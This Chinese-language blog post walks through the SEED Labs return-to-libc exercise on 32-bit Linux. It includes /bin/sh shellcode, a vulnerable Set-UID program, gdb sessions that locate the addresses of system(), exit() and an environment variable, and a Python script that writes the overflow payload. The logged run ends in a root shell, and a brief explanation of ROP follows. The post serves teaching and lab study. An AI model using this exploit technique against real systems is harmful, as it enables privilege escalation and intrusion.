- 栈的主要目的用来存储数据,很少需要在栈中运行代码,因此,大多数程序不需要可执行的程序栈,在一些体系架构中(包括x86),可以在硬件程序面上将一段内存区域标记为不可执行。
- 在Ubuntu系统中,如果使用gcc编译程序,可以让gcc生成一个特殊的二进制文件,这个二进制文件头部有一个比特位,表示是否将栈设置为不可执行,当程序被加载执行时,操作系统首先为程序分配内存,然后检查该比特位,如果它被置位,那么栈的内存区域将被标记为不可执行。
#include <string.h> const char code[] = "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdq */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; int main(int argc, char **argv) { char buf[sizeof(code)]; strcpy(buf, code); ((void(*)( ))buf)( ); }
- 上述代码首先将一段shellcode放入栈中的缓冲区,然后将缓冲区转换为函数,,接着调用这个函数。
- 运行
[07/07/20]seed@VM:~/code$ gcc -z execstack shellcode.c [07/07/20]seed@VM:~/code$ a.out $ exit [07/07/20]seed@VM:~/code$ gcc -z noexecstack shellcode.c [07/07/20]seed@VM:~/code$ a.out Segmentation fault
- 第一次编译时将栈设置为可执行的,可以看到成功获得了一个shell;第二个编译时,将栈设置为不可执行的,恶意代码将无法执行,系统会输出Segmentation fault。
- 如果想改变一个已经编译好程序的可执行栈的比特位,可以使用一个叫做execstack的工具
[07/07/20]seed@VM:~/code$ sudo apt-get install execstack [07/07/20]seed@VM:~/code$ execstack -s a.out #让栈可执行 [07/07/20]seed@VM:~/code$ a.out $ exit [07/07/20]seed@VM:~/code$ execstack -c a.out #让栈不可执行 [07/07/20]seed@VM:~/code$ a.out Segmentation fault
- 内存中有一个区域存放着很多代码,主要是标准C语言库函数,在Linux中,该库被称为libc,它是一个动态链接库,很多用户的程序都需要使用libc库中的函数,所以在这些程序运行之前,操作系统会将libc库加载到内存中。
- 现在的问题就变成是否存在一个libc函数可供使用,以达到恶意目的,如果存在,则可以让由漏洞的程序跳转到该libc函数,其中最容易被利用的就是system()函数,这个函数接受一个字符串作为参数,将此字符串作为一个命令来执行,有了这个函数,如果想要在缓冲区溢出后运行一个shellcode,只需要跳转到system()函数,让它来运行指定的"/bin/sh"程序即可,这就是return-to-libc攻击。
攻击实验:准备
- 使用存在缓冲区溢出漏洞程序stack.c.
#ifndef BUF_SIZE #define BUF_SIZE 100 #endif int foo(char *str) { char buffer[BUF_SIZE]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[400]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 300, badfile); foo(str); printf("Returned Properly\n"); return 1; }
- 编译以及保护机制
- 编译时,在打开不可执行栈的同时,需要关闭StackGuard保护机制,另外还需要关闭地址和空间布局随机化机制。
[07/07/20]seed@VM:~/.../return-to-libc$ gcc -fno-stack-protector -z noexecstack -o stack stack.c
[07/07/20]seed@VM:~/.../return-to-libc$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
- 将程序变成一个root用户的Set-UID程序
[07/07/20]seed@VM:~/.../return-to-libc$ sudo chown root stack
[07/07/20]seed@VM:~/.../return-to-libc$ sudo chmod 4755 stack
[07/07/20]seed@VM:~/.../return-to-libc$ ls -l stack
-rwsr-xr-x 1 root seed 7476 Jul 7 05:36 stack
发起return-to-libc攻击:第一部分
- 这里的目标是跳转到system()函数,然后让它执行/bin/sh,这相当于调用system("/bin/sh"),为了实现这个目标,需要执行以下三个任务:
- 找到system()函数地址:需要找到system()函数在内存中的地址将有漏洞程序的函数返回地址改成该地址,这样函数返回时就会跳转到system()函数。
- 找到字符串/bin/sh的地址。
- system()函数的参数:获取/bin/sh的地址之后,需要将地址传给system()函数,system()函数从栈中获取参数,这意味着字符串的地址需要放在栈中,难点在于弄清楚参数的地址具体放在栈中哪个位置。
- 找到system()函数的地址
- 在Linux中,当一个需要使用libc的程序运行时,libc函数库将被加载到内存中,当ASLR关闭时,对同一个程序,这个函数库总是加载到相同的内存地址。
- 可以使用调试工具轻易找到system()函数在内存中的地址。
[07/07/20]seed@VM:~/.../return-to-libc$ gdb -q stack #q参数是调试器不打印不必要的信息
Reading symbols from stack...(no debugging symbols found)...done.
gdb-peda$ run
Starting program: /home/seed/Documents/return-to-libc/stack
....
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
- 对于同一个程序,如果把它从Set-UID程序改成非Set-UID程序时,libc函数加载的地址可能时不一样的,上述调试一个要使用由漏洞的Set-UID程序,否则得到的地址可能是不对的。
- 找到字符串/bin/sh的地址
- 为了让system()函数运行/bin/sh命令,字符串/bin/sh需要预先存在内存中,它的地址需要作为参数传递给system()函数。
- 可以把字符串放置在缓冲区中,然后获取它的地址,或者利用环境变量,运行漏洞程序之前,定义一个环境变量MYSHELL="/bin/sh",并用export命令指明该环境变量会被传递给子进程。
- 下面程序用于打印出MYSHELL环境变量的地址:
#include <stdio.h> #include <stdlib.h> int main() { char* shell = (char*)getenv("MYSHELL"); if(shell) { printf("value->%s\n",shell); printf("address->%x\n",(unsigned int)shell); } return 1; }
- 运行程序
[07/07/20]seed@VM:~/.../return-to-libc$ gcc -o env55 envaddr.c [07/07/20]seed@VM:~/.../return-to-libc$ export MYSHELL="/bin/sh" [07/07/20]seed@VM:~/.../return-to-libc$ ./env55 value->/bin/sh address->bffffeec
- 一旦ASLR被关闭,MYSHELL环境变量在由一个进程生成的不同子进程中的地址将是一样的,但需要注意的时,MYSHELL环境变量的地址和程序名称的长度有关。
[07/07/20]seed@VM:~/.../return-to-libc$ mv env55 env7777 [07/07/20]seed@VM:~/.../return-to-libc$ ./env7777 value->/bin/sh address->bffffee8
- 环境变量保存在程序的栈中,但在环境变量被压入栈之前,首先被压入栈中的程序名称,因此,程序名称的长度将影响环境变量在内存中的位置。
[07/07/20]seed@VM:~/.../return-to-libc$ gcc -g -o envaddr_dbg envaddr.c [07/07/20]seed@VM:~/.../return-to-libc$ gdb -q envaddr_dbg Reading symbols from envaddr_dbg...done. gdb-peda$ b main Breakpoint 1 at 0x804844c: file envaddr.c, line 6. gdb-peda$ run Starting program: /home/seed/Documents/return-to-libc/envaddr_dbg ... 0xbffffe3a: "PWD=/home/seed/Documents/return-to-libc" 0xbffffe62: "JAVA_HOME=/usr/lib/jvm/java-8-oracle" 0xbffffe87: "LANG=en_US.UTF-8" 0xbffffe98: "LINES=21" 0xbffffea1: "SHLVL=2" 0xbffffea9: "HOME=/home/seed" 0xbffffeb9: "LOGNAME=seed" 0xbffffec6: "MYSHELL=/bin/sh" ...
- 可以看到函数名称存储在0xbffffe3a这个位置,改变程序名称继续实验,会发现所有环境变量的位置都会发送便宜。
发起return-to-libc攻击:第二部分
- 在return-to-libc攻击中,system()函数不是以常规方式被调用的:目标程序知识跳转到函数代码的入口,并没有为这次调用做好准备,因此函数所需要的参数并不在栈中,必须弥补这个缺失的步骤,也就是说,在漏洞程序跳转到system()之前,需要自行将参数放入栈中。
- 函数的第一个参数放到了%ebp+8,无论函数合适需要访问它的第一个参数,它都会使用%ebp+8作为这个参数的地址,因此,在return-to-libc攻击中,预测漏洞跳转到system()函数后ebp指向的位置是非常关键的,需要把/bin/sh字符串放置在比ebp的预测地址高8字节的位置。
- 一个函数的开头和结尾分别称为函数的序言和后记:
- 序言就是函数开头处的代码,它用于为函数准备栈和指针
pushl %ebp #保存ebp值 movl %esp, %ebp #让ebp指向被调用者的栈帧 subl $N, %esp #为局部变量预留空间
- 函数的后记是函数末尾处,用于恢复栈和寄存器到函数调用以前的状态:、
movl %ebp,%esp #释放为局部变量开辟的空间 popl %ebp #让ebp指向调用者函数的栈帧 ret #函数返回,弹出返回地址并且移动esp指针
- IA-32体系结构的处理器由两条内设指令:enter和leave。enter指令指向函数的序言,leave指令指向后记的前两条指令。
- 在发生缓冲区溢出攻击后,图中的返回地址变成了system()函数的返回地址,在foo()函数返回时,会执行foo()的后记代码,首先释放局部变量的缓冲区,此时esp和ebp指向同一个位置,然后将ebp恢复到指向main函数的栈帧,具体是多少我们无需关心,esp上移,然后弹出返回地址,esp上移,调用sytem()函数。在system()函数调用后,会执行system()函数的前言代码,首先保存ebp的值,此时esp向下移动一个单位,然后将ebp指向esp当前指向的位置,接着为局部变量开辟空间。
- 注意在第三个图中的2位置应该保存的是system函数的返回地址,如果随便存在一个值,当system函数返回时(/bin/sh程序结束后才会返回),程序很可能崩溃,更好的办法是将exit()函数的地址存放在哪里,这样当system函数返回时,它将跳转到exit()函数,从而完美终止程序。
- 现在我们需要计算上图中的1、2、3标记的3个位置距离缓冲区的偏移量:
07/07/20]seed@VM:~/.../return-to-libc$ gcc -fno-stack-protector -z noexecstack -g -o stack_dbg stack.c [07/07/20]seed@VM:~/.../return-to-libc$ touch badfile [07/07/20]seed@VM:~/.../return-to-libc$ gdb -q stack_dbg Reading symbols from stack_dbg...done. gdb-peda$ b foo Breakpoint 1 at 0x80484c1: file stack.c, line 13. gdb-peda$ run Starting program: /home/seed/Documents/return-to-libc/stack_dbg ... gdb-peda$ p $ebp $1 = (void *) 0xbffff1b8 gdb-peda$ p &buffer $2 = (char (*)[100]) 0xbffff14c gdb-peda$ p/d 0xbffff1b8-0xbffff14c $3 = 108 gdb-peda$
- 从上面实验可以看出foo函数中ebp距离buffer的距离为108个字节,因此可以得出:
- 3位置的偏移是108+4 =112字节,此位置保存在system()函数的地址。
- 2位置的偏移是108+8 = 116字节,此位置保存exit()函数的地址。
- 1位置的偏移是108+12 = 120字节,此位置保存的是字符串/bin/sh的地址。
- 编写下面Python程序来构建输入,结果保存到badfile文件中,代码如下:
!/usr/bin/python3 import sys #给content填上非0值 content = bytearray(0xaa for i in range(300)) a3 = 0xbffffeec #/bin/sh环境变量的地址,之前已经计算过,env55和stack程序名子一样长,所以环境变量地址相同 content[120:124] = (a3).to_bytes(4,byteorder='little') a2 = 0xb7e369d0 #exit函数的地址 content[116:120] = (a2).to_bytes(4,byteorder='little') a1 = 0xb7e42da0 #system函数的地址 content[112:116] = (a1).to_bytes(4,byteorder='little') file = open("badfile","wb") file.write(content) file.close()
- 运行上述程序,生成badfile,然后攻击漏洞程序stack,结果显示得到了一个 root权限的shell。
[07/07/20]seed@VM:~/.../return-to-libc$ chmod u+x libc_exploit.py [07/07/20]seed@VM:~/.../return-to-libc$ ./libc_exploit.py [07/07/20]seed@VM:~/.../return-to-libc$ sudo ln -sf /bin/zsh /bin/sh [07/07/20]seed@VM:~/.../return-to-libc$ export MYSHELL="/bin/sh" [07/07/20]seed@VM:~/.../return-to-libc$ ./stack # id uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
返回导向编程
- Shacham在一篇论文中演示了return-to-libc攻击不需要一定要返回到一个已有的函数,从而把return-to-libc推广到返回导向编程(ROP)
- ROP的思想是巧妙地把内存中的一些小的指令序列串起来,这些指令其实并不放在一起,但它们最后一个指令都是return,通过正确设置栈上的返回地址域,可以使得一个序列执行完毕后执行return指令返回时,会返回到下一个指令序列。通过这种方法,可以把不在一起的指令串起来,Shacham在文章中指出,libc函数库中可以找到所需要的指令序列来完成几乎任何操作。
总结
- 在return-to-libc攻击中,通过改变返回地址,攻击者能够是目标程序跳转到已经被加载到内存中的某个libc库中的函数,system()函数是一个好的选择,如果攻击者能够跳转到这个函数,使它执行system("/bin/sh"),这将会产生一个root shell。这个攻击最主要的难点时找到system()函数存放参数的位置,使得当进入system()函数之后,system()函数能够正确获取指令字符串参数。
版权声明:本文为qq_39249347原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。